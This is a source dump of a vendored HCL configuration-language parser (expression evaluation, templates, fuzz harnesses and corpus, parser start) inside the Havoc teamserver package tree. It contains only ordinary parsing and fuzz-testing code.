same group // have left-to-right associativity. binaryOps = []map[TokenType]*Operation{ { TokenOr: OpLogicalOr, }, { TokenAnd: OpLogicalAnd, }, { TokenEqualOp: OpEqual, TokenNotEqual: OpNotEqual, }, { TokenGreaterThan: OpGreaterThan, TokenGreaterThanEq: OpGreaterThanOrEqual, TokenLessThan: OpLessThan, TokenLessThanEq: OpLessThanOrEqual, }, { TokenPlus: OpAdd, TokenMinus: OpSubtract, }, { TokenStar: OpMultiply, TokenSlash: OpDivide, TokenPercent: OpModulo, }, } } type BinaryOpExpr struct { LHS Expression Op *Operation RHS Expression SrcRange hcl.Range } func (e *BinaryOpExpr) walkChildNodes(w internalWalkFunc) { w(e.LHS) w(e.RHS) } func (e *BinaryOpExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { impl := e.Op.Impl // assumed to be a function taking exactly two arguments params := impl.Params() lhsParam := params[0] rhsParam := params[1] var diags hcl.Diagnostics givenLHSVal, lhsDiags := e.LHS.Value(ctx) givenRHSVal, rhsDiags := e.RHS.Value(ctx) diags = append(diags, lhsDiags...) diags = append(diags, rhsDiags...) lhsVal, err := convert.Convert(givenLHSVal, lhsParam.Type) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid operand", Detail: fmt.Sprintf("Unsuitable value for left operand: %s.", err), Subject: e.LHS.Range().Ptr(), Context: &e.SrcRange, Expression: e.LHS, EvalContext: ctx, }) } rhsVal, err := convert.Convert(givenRHSVal, rhsParam.Type) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid operand", Detail: fmt.Sprintf("Unsuitable value for right operand: %s.", err), Subject: e.RHS.Range().Ptr(), Context: &e.SrcRange, Expression: e.RHS, EvalContext: ctx, }) } if diags.HasErrors() { // Don't actually try the call if we have errors already, since the // this will probably just produce a confusing duplicative diagnostic. return cty.UnknownVal(e.Op.Type), diags } args := []cty.Value{lhsVal, rhsVal} result, err := impl.Call(args) if err != nil { diags = append(diags, &hcl.Diagnostic{ // FIXME: This diagnostic is useless. Severity: hcl.DiagError, Summary: "Operation failed", Detail: fmt.Sprintf("Error during operation: %s.", err), Subject: &e.SrcRange, Expression: e, EvalContext: ctx, }) return cty.UnknownVal(e.Op.Type), diags } return result, diags } func (e *BinaryOpExpr) Range() hcl.Range { return e.SrcRange } func (e *BinaryOpExpr) StartRange() hcl.Range { return e.LHS.StartRange() } type UnaryOpExpr struct { Op *Operation Val Expression SrcRange hcl.Range SymbolRange hcl.Range } func (e *UnaryOpExpr) walkChildNodes(w internalWalkFunc) { w(e.Val) } func (e *UnaryOpExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { impl := e.Op.Impl // assumed to be a function taking exactly one argument params := impl.Params() param := params[0] givenVal, diags := e.Val.Value(ctx) val, err := convert.Convert(givenVal, param.Type) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid operand", Detail: fmt.Sprintf("Unsuitable value for unary operand: %s.", err), Subject: e.Val.Range().Ptr(), Context: &e.SrcRange, Expression: e.Val, EvalContext: ctx, }) } if diags.HasErrors() { // Don't actually try the call if we have errors already, since the // this will probably just produce a confusing duplicative diagnostic. return cty.UnknownVal(e.Op.Type), diags } args := []cty.Value{val} result, err := impl.Call(args) if err != nil { diags = append(diags, &hcl.Diagnostic{ // FIXME: This diagnostic is useless. Severity: hcl.DiagError, Summary: "Operation failed", Detail: fmt.Sprintf("Error during operation: %s.", err), Subject: &e.SrcRange, Expression: e, EvalContext: ctx, }) return cty.UnknownVal(e.Op.Type), diags } return result, diags } func (e *UnaryOpExpr) Range() hcl.Range { return e.SrcRange } func (e *UnaryOpExpr) StartRange() hcl.Range { return e.SymbolRange } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/expression_template.go000066400000000000000000000163541467014221700314640ustar00rootroot00000000000000package hclsyntax import ( "bytes" "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" ) type TemplateExpr struct { Parts []Expression SrcRange hcl.Range } func (e *TemplateExpr) walkChildNodes(w internalWalkFunc) { for _, part := range e.Parts { w(part) } } func (e *TemplateExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { buf := &bytes.Buffer{} var diags hcl.Diagnostics isKnown := true // Maintain a set of marks for values used in the template marks := make(cty.ValueMarks) for _, part := range e.Parts { partVal, partDiags := part.Value(ctx) diags = append(diags, partDiags...) if partVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template interpolation value", Detail: fmt.Sprintf( "The expression result is null. Cannot include a null value in a string template.", ), Subject: part.Range().Ptr(), Context: &e.SrcRange, Expression: part, EvalContext: ctx, }) continue } // Unmark the part and merge its marks into the set unmarkedVal, partMarks := partVal.Unmark() for k, v := range partMarks { marks[k] = v } if !partVal.IsKnown() { // If any part is unknown then the result as a whole must be // unknown too. We'll keep on processing the rest of the parts // anyway, because we want to still emit any diagnostics resulting // from evaluating those. isKnown = false continue } strVal, err := convert.Convert(unmarkedVal, cty.String) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template interpolation value", Detail: fmt.Sprintf( "Cannot include the given value in a string template: %s.", err.Error(), ), Subject: part.Range().Ptr(), Context: &e.SrcRange, Expression: part, EvalContext: ctx, }) continue } buf.WriteString(strVal.AsString()) } var ret cty.Value if !isKnown { ret = cty.UnknownVal(cty.String) } else { ret = cty.StringVal(buf.String()) } // Apply the full set of marks to the returned value return ret.WithMarks(marks), diags } func (e *TemplateExpr) Range() hcl.Range { return e.SrcRange } func (e *TemplateExpr) StartRange() hcl.Range { return e.Parts[0].StartRange() } // IsStringLiteral returns true if and only if the template consists only of // single string literal, as would be created for a simple quoted string like // "foo". // // If this function returns true, then calling Value on the same expression // with a nil EvalContext will return the literal value. // // Note that "${"foo"}", "${1}", etc aren't considered literal values for the // purposes of this method, because the intent of this method is to identify // situations where the user seems to be explicitly intending literal string // interpretation, not situations that result in literals as a technicality // of the template expression unwrapping behavior. func (e *TemplateExpr) IsStringLiteral() bool { if len(e.Parts) != 1 { return false } _, ok := e.Parts[0].(*LiteralValueExpr) return ok } // TemplateJoinExpr is used to convert tuples of strings produced by template // constructs (i.e. for loops) into flat strings, by converting the values // tos strings and joining them. This AST node is not used directly; it's // produced as part of the AST of a "for" loop in a template. type TemplateJoinExpr struct { Tuple Expression } func (e *TemplateJoinExpr) walkChildNodes(w internalWalkFunc) { w(e.Tuple) } func (e *TemplateJoinExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { tuple, diags := e.Tuple.Value(ctx) if tuple.IsNull() { // This indicates a bug in the code that constructed the AST. panic("TemplateJoinExpr got null tuple") } if tuple.Type() == cty.DynamicPseudoType { return cty.UnknownVal(cty.String), diags } if !tuple.Type().IsTupleType() { // This indicates a bug in the code that constructed the AST. panic("TemplateJoinExpr got non-tuple tuple") } if !tuple.IsKnown() { return cty.UnknownVal(cty.String), diags } tuple, marks := tuple.Unmark() allMarks := []cty.ValueMarks{marks} buf := &bytes.Buffer{} it := tuple.ElementIterator() for it.Next() { _, val := it.Element() if val.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template interpolation value", Detail: fmt.Sprintf( "An iteration result is null. Cannot include a null value in a string template.", ), Subject: e.Range().Ptr(), Expression: e, EvalContext: ctx, }) continue } if val.Type() == cty.DynamicPseudoType { return cty.UnknownVal(cty.String).WithMarks(marks), diags } strVal, err := convert.Convert(val, cty.String) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template interpolation value", Detail: fmt.Sprintf( "Cannot include one of the interpolation results into the string template: %s.", err.Error(), ), Subject: e.Range().Ptr(), Expression: e, EvalContext: ctx, }) continue } if !val.IsKnown() { return cty.UnknownVal(cty.String).WithMarks(marks), diags } strVal, strValMarks := strVal.Unmark() if len(strValMarks) > 0 { allMarks = append(allMarks, strValMarks) } buf.WriteString(strVal.AsString()) } return cty.StringVal(buf.String()).WithMarks(allMarks...), diags } func (e *TemplateJoinExpr) Range() hcl.Range { return e.Tuple.Range() } func (e *TemplateJoinExpr) StartRange() hcl.Range { return e.Tuple.StartRange() } // TemplateWrapExpr is used instead of a TemplateExpr when a template // consists _only_ of a single interpolation sequence. In that case, the // template's result is the single interpolation's result, verbatim with // no type conversions. type TemplateWrapExpr struct { Wrapped Expression SrcRange hcl.Range } func (e *TemplateWrapExpr) walkChildNodes(w internalWalkFunc) { w(e.Wrapped) } func (e *TemplateWrapExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return e.Wrapped.Value(ctx) } func (e *TemplateWrapExpr) Range() hcl.Range { return e.SrcRange } func (e *TemplateWrapExpr) StartRange() hcl.Range { return e.SrcRange } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/expression_vars.go000066400000000000000000000030541467014221700306150ustar00rootroot00000000000000package hclsyntax // Generated by expression_vars_get.go. DO NOT EDIT. // Run 'go generate' on this package to update the set of functions here. import ( "Havoc/pkg/profile/yaotl" ) func (e *AnonSymbolExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *BinaryOpExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *ConditionalExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *ForExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *FunctionCallExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *IndexExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *LiteralValueExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *ObjectConsExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *ObjectConsKeyExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *RelativeTraversalExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *ScopeTraversalExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *SplatExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *TemplateExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *TemplateJoinExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *TemplateWrapExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *TupleConsExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *UnaryOpExpr) Variables() []hcl.Traversal { return Variables(e) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/expression_vars_gen.go000066400000000000000000000054151467014221700314510ustar00rootroot00000000000000// This is a 'go generate'-oriented program for producing the "Variables" // method on every Expression implementation found within this package. // All expressions share the same implementation for this method, which // just wraps the package-level function "Variables" and uses an AST walk // to do its work. // +build ignore package main import ( "fmt" "go/ast" "go/parser" "go/token" "os" "sort" ) func main() { fs := token.NewFileSet() pkgs, err := parser.ParseDir(fs, ".", nil, 0) if err != nil { fmt.Fprintf(os.Stderr, "error while parsing: %s\n", err) os.Exit(1) } pkg := pkgs["hclsyntax"] // Walk all the files and collect the receivers of any "Value" methods // that look like they are trying to implement Expression. var recvs []string for _, f := range pkg.Files { for _, decl := range f.Decls { fd, ok := decl.(*ast.FuncDecl) if !ok { continue } if fd.Name.Name != "Value" { continue } results := fd.Type.Results.List if len(results) != 2 { continue } valResult := fd.Type.Results.List[0].Type.(*ast.SelectorExpr).X.(*ast.Ident) diagsResult := fd.Type.Results.List[1].Type.(*ast.SelectorExpr).X.(*ast.Ident) if valResult.Name != "cty" && diagsResult.Name != "hcl" { continue } // If we have a method called Value and it returns something in // "cty" followed by something in "hcl" then that's specific enough // for now, even though this is not 100% exact as a correct // implementation of Value. recvTy := fd.Recv.List[0].Type switch rtt := recvTy.(type) { case *ast.StarExpr: name := rtt.X.(*ast.Ident).Name recvs = append(recvs, fmt.Sprintf("*%s", name)) default: fmt.Fprintf(os.Stderr, "don't know what to do with a %T receiver\n", recvTy) } } } sort.Strings(recvs) of, err := os.OpenFile("expression_vars.go", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, os.ModePerm) if err != nil { fmt.Fprintf(os.Stderr, "failed to open output file: %s\n", err) os.Exit(1) } fmt.Fprint(of, outputPreamble) for _, recv := range recvs { fmt.Fprintf(of, outputMethodFmt, recv) } fmt.Fprint(of, "\n") } const outputPreamble = `package hclsyntax // Generated by expression_vars_get.go. DO NOT EDIT. // Run 'go generate' on this package to update the set of functions here. import ( "Havoc/pkg/profile/yaotl" )` const outputMethodFmt = ` func (e %s) Variables() []hcl.Traversal { return Variables(e) }` havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/file.go000066400000000000000000000005741467014221700263060ustar00rootroot00000000000000package hclsyntax import ( "Havoc/pkg/profile/yaotl" ) // File is the top-level object resulting from parsing a configuration file. type File struct { Body *Body Bytes []byte } func (f *File) AsHCLFile() *hcl.File { return &hcl.File{ Body: f.Body, Bytes: f.Bytes, // TODO: The Nav object, once we have an implementation of it } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/000077500000000000000000000000001467014221700260305ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/Makefile000066400000000000000000000013131467014221700274660ustar00rootroot00000000000000 ifndef FUZZ_WORK_DIR $(error FUZZ_WORK_DIR is not set) endif default: @echo "See README.md for usage instructions" fuzz-config: fuzz-exec-config fuzz-expr: fuzz-exec-expr fuzz-template: fuzz-exec-template fuzz-traversal: fuzz-exec-traversal fuzz-exec-%: fuzz%-fuzz.zip go-fuzz -bin=./fuzz$*-fuzz.zip -workdir=$(FUZZ_WORK_DIR) fuzz%-fuzz.zip: %/fuzz.go go-fuzz-build Havoc/pkg/profile/yaotl/hclsyntax/fuzz/$* tools: go get -u github.com/dvyukov/go-fuzz/go-fuzz go get -u github.com/dvyukov/go-fuzz/go-fuzz-build clean: rm fuzz*-fuzz.zip .PHONY: tools clean fuzz-config fuzz-expr fuzz-template fuzz-traversal .PRECIOUS: fuzzconfig-fuzz.zip fuzzexpr-fuzz.zip fuzztemplate-fuzz.zip fuzztraversal-fuzz.zip havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/README.md000066400000000000000000000054001467014221700273060ustar00rootroot00000000000000# hclsyntax fuzzing utilities This directory contains helper functions and corpuses that can be used to fuzz-test the `hclsyntax` parsers using [go-fuzz](https://github.com/dvyukov/go-fuzz). ## Work directory `go-fuzz` needs a working directory where it can keep state as it works. This should ideally be in a ramdisk for efficiency, and should probably _not_ be on an SSD to avoid thrashing it. Here's how to create a ramdisk: ### macOS ``` $ SIZE_IN_MB=1024 $ DEVICE=`hdiutil attach -nobrowse -nomount ram://$(($SIZE_IN_MB*2048))` $ diskutil erasevolume HFS+ RamDisk $DEVICE $ export RAMDISK=/Volumes/RamDisk ``` ### Linux ``` $ mkdir /mnt/ramdisk $ mount -t tmpfs -o size=1024M tmpfs /mnt/ramdisk $ export RAMDISK=/mnt/ramdisk ``` ## Running the fuzzer Next, install `go-fuzz` and its build tool in your `GOPATH`: ``` $ make tools FUZZ_WORK_DIR=$RAMDISK ``` Now you can fuzz one or all of the parsers: ``` $ make fuzz-config FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-config $ make fuzz-expr FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-expr $ make fuzz-template FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-template $ make fuzz-traversal FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-traversal ``` ~> Note: `go-fuzz` does not interact well with `goenv`. If you encounter build errors where the package `go.fuzz.main` could not be found, you may need to use a machine with a direct installation of Go. ## Understanding the result A small number of subdirectories will be created in the work directory. If you let `go-fuzz` run for a few minutes (the more minutes the better) it may detect "crashers", which are inputs that caused the parser to panic. Details about these are written to `$FUZZ_WORK_DIR/crashers`: ``` $ ls /tmp/hcl2-fuzz-config/crashers 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.output 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.quoted ``` The base file above (with no extension) is the input that caused a crash. The `.output` file contains the panic stack trace, which you can use as a clue to figure out what caused the crash. A good first step to fixing a detected crasher is to copy the failing input into one of the unit tests in the `hclsyntax` package and see it crash there too. After that, it's easy to re-run the test as you try to fix it. The file with the `.quoted` extension contains a form of the input that is quoted in Go syntax for easy copy-paste into a test case, even if the input contains non-printable characters or other inconvenient symbols. ## Rebuilding for new Upstream Code An archive file is created for `go-fuzz` to use on the first run of each of the above, as a `.zip` file created in this directory. If upstream code is changed these will need to be deleted to cause them to be rebuilt with the latest code: ``` $ make clean ``` havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/000077500000000000000000000000001467014221700272755ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/000077500000000000000000000000001467014221700306105ustar00rootroot00000000000000attr-expr.hcl000066400000000000000000000000321467014221700331420ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpusfoo = upper(bar + baz[1]) attr-literal.hcl000066400000000000000000000000141467014221700336200ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpusfoo = "bar" block-attrs.hcl000066400000000000000000000000271467014221700334450ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpusblock { foo = true } block-empty.hcl000066400000000000000000000000121467014221700334400ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpusblock { } block-nested.hcl000066400000000000000000000000561467014221700335740ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpusblock { another_block { foo = bar } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/empty.hcl000066400000000000000000000000001467014221700324240ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/utf8.hcl000066400000000000000000000000351467014221700321640ustar00rootroot00000000000000foo = "föo ${föo("föo")}" havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/fuzz.go000066400000000000000000000004361467014221700306250ustar00rootroot00000000000000package fuzzconfig import ( "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func Fuzz(data []byte) int { _, diags := hclsyntax.ParseConfig(data, "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return 0 } return 1 } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/000077500000000000000000000000001467014221700270065ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/000077500000000000000000000000001467014221700303215ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/empty.hcle000066400000000000000000000000021467014221700323040ustar00rootroot00000000000000""escape-dollar.hcle000066400000000000000000000000201467014221700336020ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus"hi $${var.foo}"escape-newline.hcle000066400000000000000000000000131467014221700337700ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus"bar\nbaz" function-call.hcle000066400000000000000000000000171467014221700336330ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpustitle(var.name)havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/int.hcle000066400000000000000000000000021467014221700317400ustar00rootroot0000000000000042havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/literal.hcle000066400000000000000000000000031467014221700326030ustar00rootroot00000000000000foosplat-attr.hcle000066400000000000000000000000161467014221700331670ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpusfoo.bar.*.baz splat-full.hcle000066400000000000000000000000171467014221700331600ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpusfoo.bar[*].baz havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/utf8.hcle000066400000000000000000000000231467014221700320370ustar00rootroot00000000000000föo("föo") + föohavoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/var.hcle000066400000000000000000000000071467014221700317430ustar00rootroot00000000000000var.barhavoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/fuzz.go000066400000000000000000000004401467014221700303310ustar00rootroot00000000000000package fuzzexpr import ( "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func Fuzz(data []byte) int { _, diags := hclsyntax.ParseExpression(data, "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return 0 } return 1 } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/000077500000000000000000000000001467014221700276435ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/000077500000000000000000000000001467014221700311565ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/empty.tmpl000066400000000000000000000000001467014221700332000ustar00rootroot00000000000000escape-dollar.tmpl000066400000000000000000000000161467014221700345050ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpushi $${var.foo}escape-newline.tmpl000066400000000000000000000000211467014221700346650ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpusfoo ${"bar\nbaz"}function-call.tmpl000066400000000000000000000000251467014221700345300ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpushi ${title(var.name)}havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/int.tmpl000066400000000000000000000000111467014221700326360ustar00rootroot00000000000000foo ${42}just-interp.tmpl000066400000000000000000000000121467014221700342520ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus${var.bar}literal.tmpl000066400000000000000000000000031467014221700334220ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpusfoohavoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/utf8.tmpl000066400000000000000000000000241467014221700327360ustar00rootroot00000000000000föo ${föo("föo")}havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/fuzz.go000066400000000000000000000004421467014221700311700ustar00rootroot00000000000000package fuzztemplate import ( "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func Fuzz(data []byte) int { _, diags := hclsyntax.ParseTemplate(data, "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return 0 } return 1 } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/000077500000000000000000000000001467014221700300335ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpus/000077500000000000000000000000001467014221700313465ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpus/attr.hclt000066400000000000000000000000071467014221700331710ustar00rootroot00000000000000foo.barcomplex.hclt000066400000000000000000000000331467014221700336060ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpusfoo.bar[1].baz["foo"].pizzaindex.hclt000066400000000000000000000000061467014221700332460ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpusfoo[1]havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpus/root.hclt000066400000000000000000000000031467014221700331760ustar00rootroot00000000000000foohavoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/fuzz.go000066400000000000000000000004471467014221700313650ustar00rootroot00000000000000package fuzztraversal import ( "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func Fuzz(data []byte) int { _, diags := hclsyntax.ParseTraversalAbs(data, "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return 0 } return 1 } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/generate.go000066400000000000000000000007171467014221700271600ustar00rootroot00000000000000package hclsyntax //go:generate go run expression_vars_gen.go //go:generate ruby unicode2ragel.rb --url=http://www.unicode.org/Public/9.0.0/ucd/DerivedCoreProperties.txt -m UnicodeDerived -p ID_Start,ID_Continue -o unicode_derived.rl //go:generate ragel -Z scan_tokens.rl //go:generate gofmt -w scan_tokens.go //go:generate ragel -Z scan_string_lit.rl //go:generate gofmt -w scan_string_lit.go //go:generate stringer -type TokenType -output token_type_string.go havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/keywords.go000066400000000000000000000010111467014221700272210ustar00rootroot00000000000000package hclsyntax import ( "bytes" ) type Keyword []byte var forKeyword = Keyword([]byte{'f', 'o', 'r'}) var inKeyword = Keyword([]byte{'i', 'n'}) var ifKeyword = Keyword([]byte{'i', 'f'}) var elseKeyword = Keyword([]byte{'e', 'l', 's', 'e'}) var endifKeyword = Keyword([]byte{'e', 'n', 'd', 'i', 'f'}) var endforKeyword = Keyword([]byte{'e', 'n', 'd', 'f', 'o', 'r'}) func (kw Keyword) TokenMatches(token Token) bool { if token.Type != TokenIdent { return false } return bytes.Equal([]byte(kw), token.Bytes) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/navigation.go000066400000000000000000000023011467014221700275140ustar00rootroot00000000000000package hclsyntax import ( "bytes" "fmt" "Havoc/pkg/profile/yaotl" ) type navigation struct { root *Body } // Implementation of hcled.ContextString func (n navigation) ContextString(offset int) string { // We will walk our top-level blocks until we find one that contains // the given offset, and then construct a representation of the header // of the block. var block *Block for _, candidate := range n.root.Blocks { if candidate.Range().ContainsOffset(offset) { block = candidate break } } if block == nil { return "" } if len(block.Labels) == 0 { // Easy case! return block.Type } buf := &bytes.Buffer{} buf.WriteString(block.Type) for _, label := range block.Labels { fmt.Fprintf(buf, " %q", label) } return buf.String() } func (n navigation) ContextDefRange(offset int) hcl.Range { var block *Block for _, candidate := range n.root.Blocks { if candidate.Range().ContainsOffset(offset) { block = candidate break } } if block == nil { return hcl.Range{} } return block.DefRange() } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/node.go000066400000000000000000000012041467014221700263030ustar00rootroot00000000000000package hclsyntax import ( "Havoc/pkg/profile/yaotl" ) // Node is the abstract type that every AST node implements. // // This is a closed interface, so it cannot be implemented from outside of // this package. type Node interface { // This is the mechanism by which the public-facing walk functions // are implemented. Implementations should call the given function // for each child node and then replace that node with its return value. // The return value might just be the same node, for non-transforming // walks. walkChildNodes(w internalWalkFunc) Range() hcl.Range } type internalWalkFunc func(Node) havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/parser.go000066400000000000000000002230121467014221700266550ustar00rootroot00000000000000package hclsyntax import ( "bytes" "encoding/hex" "fmt" "strconv" "unicode/utf8" "Havoc/pkg/profile/yaotl" "github.com/apparentlymart/go-textseg/v13/textseg" "github.com/zclconf/go-cty/cty" ) type parser struct { *peeker // set to true if any recovery is attempted. The parser can use this // to attempt to reduce error noise by suppressing "bad token" errors // in recovery mode, assuming that the recovery heuristics have failed // in this case and left the peeker in a wrong place. recovery bool } func (p *parser) ParseBody(end TokenType) (*Body, hcl.Diagnostics) { attrs := Attributes{} blocks := Blocks{} var diags hcl.Diagnostics startRange := p.PrevRange() var endRange hcl.Range Token: for { next := p.Peek() if next.Type == end { endRange = p.NextRange() p.Read() break Token } switch next.Type { case TokenNewline: p.Read() continue case TokenIdent: item, itemDiags := p.ParseBodyItem() diags = append(diags, itemDiags...) switch titem := item.(type) { case *Block: blocks = append(blocks, titem) case *Attribute: if existing, exists := attrs[titem.Name]; exists { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Attribute redefined", Detail: fmt.Sprintf( "The argument %q was already set at %s. Each argument may be set only once.", titem.Name, existing.NameRange.String(), ), Subject: &titem.NameRange, }) } else { attrs[titem.Name] = titem } 